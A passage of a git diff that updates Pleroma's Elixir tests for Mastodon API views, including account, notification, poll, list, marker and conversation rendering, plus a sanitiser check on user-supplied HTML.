- setup %{conn: conn} do
- user = insert(:user)
- conn = post(conn, "/auth/password?email=#{user.email}")
- %{conn: conn, user: user}
- end
-
- test "it returns 204", %{conn: conn} do
- assert json_response(conn, :no_content)
- end
-
- test "it creates a PasswordResetToken record for user", %{user: user} do
- token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id)
- assert token_record
- end
-
- test "it sends an email to user", %{user: user} do
- token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id)
-
- email = Pleroma.Emails.UserEmail.password_reset_email(user, token_record.token)
- notify_email = Pleroma.Config.get([:instance, :notify_email])
- instance_name = Pleroma.Config.get([:instance, :name])
-
- assert_email_sent(
- from: {instance_name, notify_email},
- to: {user.name, user.email},
- html_body: email.html_body
- )
- end
- end
-
- describe "POST /auth/password, with invalid parameters" do
- setup do
- user = insert(:user)
- {:ok, user: user}
- end
-
- test "it returns 404 when user is not found", %{conn: conn, user: user} do
- conn = post(conn, "/auth/password?email=nonexisting_#{user.email}")
- assert conn.status == 404
- assert conn.resp_body == ""
- end
-
- test "it returns 400 when user is not local", %{conn: conn, user: user} do
- {:ok, user} = Repo.update(Changeset.change(user, local: false))
- conn = post(conn, "/auth/password?email=#{user.email}")
- assert conn.status == 400
- assert conn.resp_body == ""
+ assert res == []
end
end
end
diff --git a/test/web/mastodon_api/mastodon_api_test.exs b/test/web/mastodon_api/mastodon_api_test.exs
new file mode 100644
index 000000000..561ef05aa
--- /dev/null
+++ b/test/web/mastodon_api/mastodon_api_test.exs
@@ -0,0 +1,104 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.MastodonAPITest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.Notification
+ alias Pleroma.ScheduledActivity
+ alias Pleroma.User
+ alias Pleroma.Web.CommonAPI
+ alias Pleroma.Web.MastodonAPI.MastodonAPI
+
+ import Pleroma.Factory
+
+ describe "follow/3" do
+ test "returns error when followed user is deactivated" do
+ follower = insert(:user)
+ user = insert(:user, local: true, deactivated: true)
+ {:error, error} = MastodonAPI.follow(follower, user)
+ assert error == "Could not follow user: #{user.nickname} is deactivated."
+ end
+
+ test "following for user" do
+ follower = insert(:user)
+ user = insert(:user)
+ {:ok, follower} = MastodonAPI.follow(follower, user)
+ assert User.following?(follower, user)
+ end
+
+ test "returns ok if user already followed" do
+ follower = insert(:user)
+ user = insert(:user)
+ {:ok, follower} = User.follow(follower, user)
+ {:ok, follower} = MastodonAPI.follow(follower, refresh_record(user))
+ assert User.following?(follower, user)
+ end
+ end
+
+ describe "get_followers/2" do
+ test "returns user followers" do
+ follower1_user = insert(:user)
+ follower2_user = insert(:user)
+ user = insert(:user)
+ {:ok, _follower1_user} = User.follow(follower1_user, user)
+ {:ok, follower2_user} = User.follow(follower2_user, user)
+
+ assert MastodonAPI.get_followers(user, %{"limit" => 1}) == [follower2_user]
+ end
+ end
+
+ describe "get_friends/2" do
+ test "returns user friends" do
+ user = insert(:user)
+ followed_one = insert(:user)
+ followed_two = insert(:user)
+ followed_three = insert(:user)
+
+ {:ok, user} = User.follow(user, followed_one)
+ {:ok, user} = User.follow(user, followed_two)
+ {:ok, user} = User.follow(user, followed_three)
+ res = MastodonAPI.get_friends(user)
+
+ assert length(res) == 3
+ assert Enum.member?(res, refresh_record(followed_three))
+ assert Enum.member?(res, refresh_record(followed_two))
+ assert Enum.member?(res, refresh_record(followed_one))
+ end
+ end
+
+ describe "get_notifications/2" do
+ test "returns notifications for user" do
+ user = insert(:user)
+ subscriber = insert(:user)
+
+ User.subscribe(subscriber, user)
+
+ {:ok, status} = CommonAPI.post(user, %{"status" => "Akariiiin"})
+
+ {:ok, status1} = CommonAPI.post(user, %{"status" => "Magi"})
+ {:ok, [notification]} = Notification.create_notifications(status)
+ {:ok, [notification1]} = Notification.create_notifications(status1)
+ res = MastodonAPI.get_notifications(subscriber)
+
+ assert Enum.member?(Enum.map(res, & &1.id), notification.id)
+ assert Enum.member?(Enum.map(res, & &1.id), notification1.id)
+ end
+ end
+
+ describe "get_scheduled_activities/2" do
+ test "returns user scheduled activities" do
+ user = insert(:user)
+
+ today =
+ NaiveDateTime.utc_now()
+ |> NaiveDateTime.add(:timer.minutes(6), :millisecond)
+ |> NaiveDateTime.to_iso8601()
+
+ attrs = %{params: %{}, scheduled_at: today}
+ {:ok, schedule} = ScheduledActivity.create(user, attrs)
+ assert MastodonAPI.get_scheduled_activities(user) == [schedule]
+ end
+ end
+end
diff --git a/test/web/mastodon_api/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs
index fa44d35cc..2107bb85c 100644
--- a/test/web/mastodon_api/account_view_test.exs
+++ b/test/web/mastodon_api/views/account_view_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
@@ -26,12 +26,10 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
user =
insert(:user, %{
- info: %{
- note_count: 5,
- follower_count: 3,
- source_data: source_data,
- background: background_image
- },
+ follower_count: 3,
+ note_count: 5,
+ source_data: source_data,
+ background: background_image,
nickname: "shp@shitposter.club",
name: ":karjalanpiirakka: shp",
bio: "<script src=\"invalid-html\"></script><span>valid html</span>",
@@ -67,7 +65,11 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
source: %{
note: "valid html",
sensitive: false,
- pleroma: %{}
+ pleroma: %{
+ actor_type: "Person",
+ discoverable: false
+ },
+ fields: []
},
pleroma: %{
background_image: "https://example.com/images/asuka_hospital.png",
@@ -78,36 +80,35 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
hide_favorites: true,
hide_followers: false,
hide_follows: false,
+ hide_followers_count: false,
+ hide_follows_count: false,
relationship: %{},
skip_thread_containment: false
}
}
- assert expected == AccountView.render("account.json", %{user: user})
+ assert expected == AccountView.render("show.json", %{user: user})
end
test "Represent the user account for the account owner" do
user = insert(:user)
- notification_settings = %{
- "followers" => true,
- "follows" => true,
- "non_follows" => true,
- "non_followers" => true
- }
-
- privacy = user.info.default_scope
+ notification_settings = %Pleroma.User.NotificationSetting{}
+ privacy = user.default_scope
assert %{
- pleroma: %{notification_settings: ^notification_settings},
+ pleroma: %{notification_settings: ^notification_settings, allow_following_move: true},
source: %{privacy: ^privacy}
- } = AccountView.render("account.json", %{user: user, for: user})
+ } = AccountView.render("show.json", %{user: user, for: user})
end
test "Represent a Service(bot) account" do
user =
insert(:user, %{
- info: %{note_count: 5, follower_count: 3, source_data: %{"type" => "Service"}},
+ follower_count: 3,
+ note_count: 5,
+ source_data: %{},
+ actor_type: "Service",
nickname: "shp@shitposter.club",
inserted_at: ~N[2017-08-15 15:47:06.597036]
})
@@ -134,7 +135,11 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
source: %{
note: user.bio,
sensitive: false,
- pleroma: %{}
+ pleroma: %{
+ actor_type: "Service",
+ discoverable: false
+ },
+ fields: []
},
pleroma: %{
background_image: nil,
@@ -145,18 +150,20 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
hide_favorites: true,
hide_followers: false,
hide_follows: false,
+ hide_followers_count: false,
+ hide_follows_count: false,
relationship: %{},
skip_thread_containment: false
}
}
- assert expected == AccountView.render("account.json", %{user: user})
+ assert expected == AccountView.render("show.json", %{user: user})
end
test "Represent a deactivated user for an admin" do
- admin = insert(:user, %{info: %{is_admin: true}})
- deactivated_user = insert(:user, %{info: %{deactivated: true}})
- represented = AccountView.render("account.json", %{user: deactivated_user, for: admin})
+ admin = insert(:user, is_admin: true)
+ deactivated_user = insert(:user, deactivated: true)
+ represented = AccountView.render("show.json", %{user: deactivated_user, for: admin})
assert represented[:pleroma][:deactivated] == true
end
@@ -180,9 +187,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
{:ok, user} = User.follow(user, other_user)
{:ok, other_user} = User.follow(other_user, user)
- {:ok, other_user} = User.subscribe(user, other_user)
- {:ok, user} = User.mute(user, other_user, true)
- {:ok, user} = CommonAPI.hide_reblogs(user, other_user)
+ {:ok, _subscription} = User.subscribe(user, other_user)
+ {:ok, _user_relationships} = User.mute(user, other_user, true)
+ {:ok, _reblog_mute} = CommonAPI.hide_reblogs(user, other_user)
expected = %{
id: to_string(other_user.id),
@@ -208,9 +215,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
other_user = insert(:user)
{:ok, user} = User.follow(user, other_user)
- {:ok, other_user} = User.subscribe(user, other_user)
- {:ok, user} = User.block(user, other_user)
- {:ok, other_user} = User.block(other_user, user)
+ {:ok, _subscription} = User.subscribe(user, other_user)
+ {:ok, _user_relationship} = User.block(user, other_user)
+ {:ok, _user_relationship} = User.block(other_user, user)
expected = %{
id: to_string(other_user.id),
@@ -231,9 +238,19 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
AccountView.render("relationship.json", %{user: user, target: other_user})
end
+ test "represent a relationship for the user blocking a domain" do
+ user = insert(:user)
+ other_user = insert(:user, ap_id: "https://bad.site/users/other_user")
+
+ {:ok, user} = User.block_domain(user, "bad.site")
+
+ assert %{domain_blocking: true, blocking: false} =
+ AccountView.render("relationship.json", %{user: user, target: other_user})
+ end
+
test "represent a relationship for the user with a pending follow request" do
user = insert(:user)
- other_user = insert(:user, %{info: %User.Info{locked: true}})
+ other_user = insert(:user, locked: true)
{:ok, user, other_user, _} = CommonAPI.follow(user, other_user)
user = User.get_cached_by_id(user.id)
@@ -262,14 +279,17 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
test "represent an embedded relationship" do
user =
insert(:user, %{
- info: %{note_count: 5, follower_count: 0, source_data: %{"type" => "Service"}},
+ follower_count: 0,
+ note_count: 5,
+ source_data: %{},
+ actor_type: "Service",
nickname: "shp@shitposter.club",
inserted_at: ~N[2017-08-15 15:47:06.597036]
})
other_user = insert(:user)
{:ok, other_user} = User.follow(other_user, user)
- {:ok, other_user} = User.block(other_user, user)
+ {:ok, _user_relationship} = User.block(other_user, user)
{:ok, _} = User.follow(insert(:user), user)
expected = %{
@@ -294,7 +314,11 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
source: %{
note: user.bio,
sensitive: false,
- pleroma: %{}
+ pleroma: %{
+ actor_type: "Service",
+ discoverable: false
+ },
+ fields: []
},
pleroma: %{
background_image: nil,
@@ -305,6 +329,8 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
hide_favorites: true,
hide_followers: false,
hide_follows: false,
+ hide_followers_count: false,
+ hide_follows_count: false,
relationship: %{
id: to_string(user.id),
following: false,
@@ -323,27 +349,179 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
}
}
- assert expected == AccountView.render("account.json", %{user: user, for: other_user})
+ assert expected ==
+ AccountView.render("show.json", %{user: refresh_record(user), for: other_user})
end
test "returns the settings store if the requesting user is the represented user and it's requested specifically" do
- user = insert(:user, %{info: %User.Info{pleroma_settings_store: %{fe: "test"}}})
+ user = insert(:user, pleroma_settings_store: %{fe: "test"})
result =
- AccountView.render("account.json", %{user: user, for: user, with_pleroma_settings: true})
+ AccountView.render("show.json", %{user: user, for: user, with_pleroma_settings: true})
assert result.pleroma.settings_store == %{:fe => "test"}
- result = AccountView.render("account.json", %{user: user, with_pleroma_settings: true})
+ result = AccountView.render("show.json", %{user: user, with_pleroma_settings: true})
assert result.pleroma[:settings_store] == nil
- result = AccountView.render("account.json", %{user: user, for: user})
+ result = AccountView.render("show.json", %{user: user, for: user})
assert result.pleroma[:settings_store] == nil
end
test "sanitizes display names" do
user = insert(:user, name: "<marquee> username </marquee>")
- result = AccountView.render("account.json", %{user: user})
+ result = AccountView.render("show.json", %{user: user})
refute result.display_name == "<marquee> username </marquee>"
end
+
+ test "never display nil user follow counts" do
+ user = insert(:user, following_count: 0, follower_count: 0)
+ result = AccountView.render("show.json", %{user: user})
+
+ assert result.following_count == 0
+ assert result.followers_count == 0
+ end
+
+ describe "hiding follows/following" do
+ test "shows when follows/followers stats are hidden and sets follow/follower count to 0" do
+ user =
+ insert(:user, %{
+ hide_followers: true,
+ hide_followers_count: true,
+ hide_follows: true,
+ hide_follows_count: true
+ })
+
+ other_user = insert(:user)
+ {:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user)
+ {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
+
+ assert %{
+ followers_count: 0,
+ following_count: 0,
+ pleroma: %{hide_follows_count: true, hide_followers_count: true}
+ } = AccountView.render("show.json", %{user: user})
+ end
+
+ test "shows when follows/followers are hidden" do
+ user = insert(:user, hide_followers: true, hide_follows: true)
+ other_user = insert(:user)
+ {:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user)
+ {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
+
+ assert %{
+ followers_count: 1,
+ following_count: 1,
+ pleroma: %{hide_follows: true, hide_followers: true}
+ } = AccountView.render("show.json", %{user: user})
+ end
+
+ test "shows actual follower/following count to the account owner" do
+ user = insert(:user, hide_followers: true, hide_follows: true)
+ other_user = insert(:user)
+ {:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user)
+ {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
+
+ assert %{
+ followers_count: 1,
+ following_count: 1
+ } = AccountView.render("show.json", %{user: user, for: user})
+ end
+
+ test "shows unread_conversation_count only to the account owner" do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, _activity} =
+ CommonAPI.post(other_user, %{
+ "status" => "Hey @#{user.nickname}.",
+ "visibility" => "direct"
+ })
+
+ user = User.get_cached_by_ap_id(user.ap_id)
+
+ assert AccountView.render("show.json", %{user: user, for: other_user})[:pleroma][
+ :unread_conversation_count
+ ] == nil
+
+ assert AccountView.render("show.json", %{user: user, for: user})[:pleroma][
+ :unread_conversation_count
+ ] == 1
+ end
+ end
+
+ describe "follow requests counter" do
+ test "shows zero when no follow requests are pending" do
+ user = insert(:user)
+
+ assert %{follow_requests_count: 0} =
+ AccountView.render("show.json", %{user: user, for: user})
+
+ other_user = insert(:user)
+ {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
+
+ assert %{follow_requests_count: 0} =
+ AccountView.render("show.json", %{user: user, for: user})
+ end
+
+ test "shows non-zero when follow requests are pending" do
+ user = insert(:user, locked: true)
+
+ assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user})
+
+ other_user = insert(:user)
+ {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
+
+ assert %{locked: true, follow_requests_count: 1} =
+ AccountView.render("show.json", %{user: user, for: user})
+ end
+
+ test "decreases when accepting a follow request" do
+ user = insert(:user, locked: true)
+
+ assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user})
+
+ other_user = insert(:user)
+ {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user)
+
+ assert %{locked: true, follow_requests_count: 1} =
+ AccountView.render("show.json", %{user: user, for: user})
+
+ {:ok, _other_user} = CommonAPI.accept_follow_request(other_user, user)
+
+ assert %{locked: true, follow_requests_count: 0} =
+ AccountView.render("show.json", %{user: user, for: user})
+ end
+
+ test "decreases when rejecting a follow request" do
+ user = insert(:user, locked: true)
+
+ assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user})
+
+ other_user = insert(:user)
+ {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user)
+
+ assert %{locked: true, follow_requests_count: 1} =
+ AccountView.render("show.json", %{user: user, for: user})
+
+ {:ok, _other_user} = CommonAPI.reject_follow_request(other_user, user)
+
+ assert %{locked: true, follow_requests_count: 0} =
+ AccountView.render("show.json", %{user: user, for: user})
+ end
+
+ test "shows non-zero when historical unapproved requests are present" do
+ user = insert(:user, locked: true)
+
+ assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user})
+
+ other_user = insert(:user)
+ {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
+
+ {:ok, user} = User.update_and_set_cache(user, %{locked: false})
+
+ assert %{locked: false, follow_requests_count: 1} =
+ AccountView.render("show.json", %{user: user, for: user})
+ end
+ end
end
diff --git a/test/web/mastodon_api/views/conversation_view_test.exs b/test/web/mastodon_api/views/conversation_view_test.exs
new file mode 100644
index 000000000..6ed22597d
--- /dev/null
+++ b/test/web/mastodon_api/views/conversation_view_test.exs
@@ -0,0 +1,35 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.ConversationViewTest do
+ use Pleroma.DataCase
+
+ alias Pleroma.Conversation.Participation
+ alias Pleroma.Web.CommonAPI
+ alias Pleroma.Web.MastodonAPI.ConversationView
+
+ import Pleroma.Factory
+
+ test "represents a Mastodon Conversation entity" do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.post(user, %{"status" => "hey @#{other_user.nickname}", "visibility" => "direct"})
+
+ [participation] = Participation.for_user_with_last_activity_id(user)
+
+ assert participation
+
+ conversation =
+ ConversationView.render("participation.json", %{participation: participation, for: user})
+
+ assert conversation.id == participation.id |> to_string()
+ assert conversation.last_status.id == activity.id
+
+ assert [account] = conversation.accounts
+ assert account.id == other_user.id
+ assert conversation.last_status.pleroma.direct_conversation_id == participation.id
+ end
+end
diff --git a/test/web/mastodon_api/views/list_view_test.exs b/test/web/mastodon_api/views/list_view_test.exs
new file mode 100644
index 000000000..59e896a7c
--- /dev/null
+++ b/test/web/mastodon_api/views/list_view_test.exs
@@ -0,0 +1,32 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.ListViewTest do
+ use Pleroma.DataCase
+ import Pleroma.Factory
+ alias Pleroma.Web.MastodonAPI.ListView
+
+ test "show" do
+ user = insert(:user)
+ title = "mortal enemies"
+ {:ok, list} = Pleroma.List.create(title, user)
+
+ expected = %{
+ id: to_string(list.id),
+ title: title
+ }
+
+ assert expected == ListView.render("show.json", %{list: list})
+ end
+
+ test "index" do
+ user = insert(:user)
+
+ {:ok, list} = Pleroma.List.create("my list", user)
+ {:ok, list2} = Pleroma.List.create("cofe", user)
+
+ assert [%{id: _, title: "my list"}, %{id: _, title: "cofe"}] =
+ ListView.render("index.json", lists: [list, list2])
+ end
+end
diff --git a/test/web/mastodon_api/views/marker_view_test.exs b/test/web/mastodon_api/views/marker_view_test.exs
new file mode 100644
index 000000000..8a5c89d56
--- /dev/null
+++ b/test/web/mastodon_api/views/marker_view_test.exs
@@ -0,0 +1,27 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.MarkerViewTest do
+ use Pleroma.DataCase
+ alias Pleroma.Web.MastodonAPI.MarkerView
+ import Pleroma.Factory
+
+ test "returns markers" do
+ marker1 = insert(:marker, timeline: "notifications", last_read_id: "17")
+ marker2 = insert(:marker, timeline: "home", last_read_id: "42")
+
+ assert MarkerView.render("markers.json", %{markers: [marker1, marker2]}) == %{
+ "home" => %{
+ last_read_id: "42",
+ updated_at: NaiveDateTime.to_iso8601(marker2.updated_at),
+ version: 0
+ },
+ "notifications" => %{
+ last_read_id: "17",
+ updated_at: NaiveDateTime.to_iso8601(marker1.updated_at),
+ version: 0
+ }
+ }
+ end
+end
diff --git a/test/web/mastodon_api/notification_view_test.exs b/test/web/mastodon_api/views/notification_view_test.exs
index 977ea1e87..1fe83cb2c 100644
--- a/test/web/mastodon_api/notification_view_test.exs
+++ b/test/web/mastodon_api/views/notification_view_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.NotificationViewTest do
@@ -27,8 +27,8 @@ defmodule Pleroma.Web.MastodonAPI.NotificationViewTest do
id: to_string(notification.id),
pleroma: %{is_seen: false},
type: "mention",
- account: AccountView.render("account.json", %{user: user, for: mentioned_user}),
- status: StatusView.render("status.json", %{activity: activity, for: mentioned_user}),
+ account: AccountView.render("show.json", %{user: user, for: mentioned_user}),
+ status: StatusView.render("show.json", %{activity: activity, for: mentioned_user}),
created_at: Utils.to_masto_date(notification.inserted_at)
}
@@ -50,8 +50,8 @@ defmodule Pleroma.Web.MastodonAPI.NotificationViewTest do
id: to_string(notification.id),
pleroma: %{is_seen: false},
type: "favourite",
- account: AccountView.render("account.json", %{user: another_user, for: user}),
- status: StatusView.render("status.json", %{activity: create_activity, for: user}),
+ account: AccountView.render("show.json", %{user: another_user, for: user}),
+ status: StatusView.render("show.json", %{activity: create_activity, for: user}),
created_at: Utils.to_masto_date(notification.inserted_at)
}
@@ -72,8 +72,8 @@ defmodule Pleroma.Web.MastodonAPI.NotificationViewTest do
id: to_string(notification.id),
pleroma: %{is_seen: false},
type: "reblog",
- account: AccountView.render("account.json", %{user: another_user, for: user}),
- status: StatusView.render("status.json", %{activity: reblog_activity, for: user}),
+ account: AccountView.render("show.json", %{user: another_user, for: user}),
+ status: StatusView.render("show.json", %{activity: reblog_activity, for: user}),
created_at: Utils.to_masto_date(notification.inserted_at)
}
@@ -92,7 +92,7 @@ defmodule Pleroma.Web.MastodonAPI.NotificationViewTest do
id: to_string(notification.id),
pleroma: %{is_seen: false},
type: "follow",
- account: AccountView.render("account.json", %{user: follower, for: followed}),
+ account: AccountView.render("show.json", %{user: follower, for: followed}),
created_at: Utils.to_masto_date(notification.inserted_at)
}
@@ -100,5 +100,65 @@ defmodule Pleroma.Web.MastodonAPI.NotificationViewTest do
NotificationView.render("index.json", %{notifications: [notification], for: followed})
assert [expected] == result
+
+ User.perform(:delete, follower)
+ notification = Notification |> Repo.one() |> Repo.preload(:activity)
+
+ assert [] ==
+ NotificationView.render("index.json", %{notifications: [notification], for: followed})
+ end
+
+ test "Move notification" do
+ old_user = insert(:user)
+ new_user = insert(:user, also_known_as: [old_user.ap_id])
+ follower = insert(:user)
+
+ User.follow(follower, old_user)
+ Pleroma.Web.ActivityPub.ActivityPub.move(old_user, new_user)
+ Pleroma.Tests.ObanHelpers.perform_all()
+
+ old_user = refresh_record(old_user)
+ new_user = refresh_record(new_user)
+
+ [notification] = Notification.for_user(follower, %{with_move: true})
+
+ expected = %{
+ id: to_string(notification.id),
+ pleroma: %{is_seen: false},
+ type: "move",
+ account: AccountView.render("show.json", %{user: old_user, for: follower}),
+ target: AccountView.render("show.json", %{user: new_user, for: follower}),
+ created_at: Utils.to_masto_date(notification.inserted_at)
+ }
+
+ assert [expected] ==
+ NotificationView.render("index.json", %{notifications: [notification], for: follower})
+ end
+
+ test "EmojiReaction notification" do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "#cofe"})
+ {:ok, _activity, _} = CommonAPI.react_with_emoji(activity.id, other_user, "☕")
+
+ activity = Repo.get(Activity, activity.id)
+
+ [notification] = Notification.for_user(user)
+
+ assert notification
+
+ expected = %{
+ id: to_string(notification.id),
+ pleroma: %{is_seen: false},
+ type: "pleroma:emoji_reaction",
+ emoji: "☕",
+ account: AccountView.render("show.json", %{user: other_user, for: user}),
+ status: StatusView.render("show.json", %{activity: activity, for: user}),
+ created_at: Utils.to_masto_date(notification.inserted_at)
+ }
+
+ assert expected ==
+ NotificationView.render("show.json", %{notification: notification, for: user})
end
end
diff --git a/test/web/mastodon_api/views/poll_view_test.exs b/test/web/mastodon_api/views/poll_view_test.exs
new file mode 100644
index 000000000..8cd7636a5
--- /dev/null
+++ b/test/web/mastodon_api/views/poll_view_test.exs
@@ -0,0 +1,126 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.PollViewTest do
+ use Pleroma.DataCase
+
+ alias Pleroma.Object
+ alias Pleroma.Web.CommonAPI
+ alias Pleroma.Web.MastodonAPI.PollView
+
+ import Pleroma.Factory
+ import Tesla.Mock
+
+ setup do
+ mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
+ :ok
+ end
+
+ test "renders a poll" do
+ user = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.post(user, %{
+ "status" => "Is Tenshi eating a corndog cute?",
+ "poll" => %{
+ "options" => ["absolutely!", "sure", "yes", "why are you even asking?"],
+ "expires_in" => 20
+ }
+ })
+
+ object = Object.normalize(activity)
+
+ expected = %{
+ emojis: [],
+ expired: false,
+ id: to_string(object.id),
+ multiple: false,
+ options: [
+ %{title: "absolutely!", votes_count: 0},
+ %{title: "sure", votes_count: 0},
+ %{title: "yes", votes_count: 0},
+ %{title: "why are you even asking?", votes_count: 0}
+ ],
+ voted: false,
+ votes_count: 0
+ }
+
+ result = PollView.render("show.json", %{object: object})
+ expires_at = result.expires_at
+ result = Map.delete(result, :expires_at)
+
+ assert result == expected
+
+ expires_at = NaiveDateTime.from_iso8601!(expires_at)
+ assert NaiveDateTime.diff(expires_at, NaiveDateTime.utc_now()) in 15..20
+ end
+
+ test "detects if it is multiple choice" do
+ user = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.post(user, %{
+ "status" => "Which Mastodon developer is your favourite?",
+ "poll" => %{
+ "options" => ["Gargron", "Eugen"],
+ "expires_in" => 20,
+ "multiple" => true
+ }
+ })
+
+ object = Object.normalize(activity)
+
+ assert %{multiple: true} = PollView.render("show.json", %{object: object})
+ end
+
+ test "detects emoji" do
+ user = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.post(user, %{
+ "status" => "What's with the smug face?",
+ "poll" => %{
+ "options" => [":blank: sip", ":blank::blank: sip", ":blank::blank::blank: sip"],
+ "expires_in" => 20
+ }
+ })
+
+ object = Object.normalize(activity)
+
+ assert %{emojis: [%{shortcode: "blank"}]} = PollView.render("show.json", %{object: object})
+ end
+
+ test "detects vote status" do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.post(user, %{
+ "status" => "Which input devices do you use?",
+ "poll" => %{
+ "options" => ["mouse", "trackball", "trackpoint"],
+ "multiple" => true,
+ "expires_in" => 20
+ }
+ })
+
+ object = Object.normalize(activity)
+
+ {:ok, _, object} = CommonAPI.vote(other_user, object, [1, 2])
+
+ result = PollView.render("show.json", %{object: object, for: other_user})
+
+ assert result[:voted] == true
+ assert Enum.at(result[:options], 1)[:votes_count] == 1
+ assert Enum.at(result[:options], 2)[:votes_count] == 1
+ end
+
+ test "does not crash on polls with no end date" do
+ object = Object.normalize("https://skippers-bin.com/notes/7x9tmrp97i")
+ result = PollView.render("show.json", %{object: object})
+
+ assert result[:expires_at] == nil
+ assert result[:expired] == false
+ end
+end
diff --git a/test/web/mastodon_api/push_subscription_view_test.exs b/test/web/mastodon_api/views/push_subscription_view_test.exs
index dc935fc82..4e4f5b7e6 100644
--- a/test/web/mastodon_api/push_subscription_view_test.exs
+++ b/test/web/mastodon_api/views/push_subscription_view_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.PushSubscriptionViewTest do
diff --git a/test/web/mastodon_api/scheduled_activity_view_test.exs b/test/web/mastodon_api/views/scheduled_activity_view_test.exs
index ecbb855d4..6387e4555 100644
--- a/test/web/mastodon_api/scheduled_activity_view_test.exs
+++ b/test/web/mastodon_api/views/scheduled_activity_view_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.ScheduledActivityViewTest do
diff --git a/test/web/mastodon_api/status_view_test.exs b/test/web/mastodon_api/views/status_view_test.exs
index 3447c5b1f..25777b011 100644
--- a/test/web/mastodon_api/status_view_test.exs
+++ b/test/web/mastodon_api/views/status_view_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
@@ -7,6 +7,8 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
alias Pleroma.Activity
alias Pleroma.Bookmark
+ alias Pleroma.Conversation.Participation
+ alias Pleroma.HTML
alias Pleroma.Object
alias Pleroma.Repo
alias Pleroma.User
@@ -14,7 +16,6 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
alias Pleroma.Web.CommonAPI.Utils
alias Pleroma.Web.MastodonAPI.AccountView
alias Pleroma.Web.MastodonAPI.StatusView
- alias Pleroma.Web.OStatus
import Pleroma.Factory
import Tesla.Mock
@@ -23,6 +24,59 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
:ok
